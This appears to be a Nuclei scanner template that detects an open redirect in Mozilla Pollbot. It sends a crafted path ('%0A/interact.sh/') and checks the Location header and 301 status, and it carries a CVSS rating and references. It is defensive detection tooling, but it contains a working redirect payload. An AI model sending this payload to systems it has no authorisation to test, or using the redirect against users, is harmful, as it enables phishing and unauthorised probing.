id: pollbot-redirect

info:
  name: Mozilla Pollbot - Open Redirect
  author: Evan Rubinstien
  severity: medium
  description: Mozilla Pollbot contains an open redirect vulnerability. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
  reference:
    - https://bugzilla.mozilla.org/show_bug.cgi?id=1753838
    - https://github.com/mozilla/PollBot
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cwe-id: CWE-601
  metadata:
    max-request: 1
  tags: redirect,mozilla,pollbot

http:
  - method: GET
    path:
      - '{{BaseURL}}/%0A/interact.sh/'

    matchers-condition: and
    matchers:
      - type: regex
        part: header
        regex:
          - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/?(\/|[^.].*)?$' # https://regex101.com/r/L403F0/1

      - type: status
        status:
          - 301
# digest: 4b0a00483046022100fc5aca947ac918c2f98d0752686002e73eacd69c042488f682135be11d202004022100c6060e4eb7788acf917f6b3eff480bc71db75d58b0ce1f1db7f64e31d8c1ddd8:922c64590222798bb761d5b6d8e72950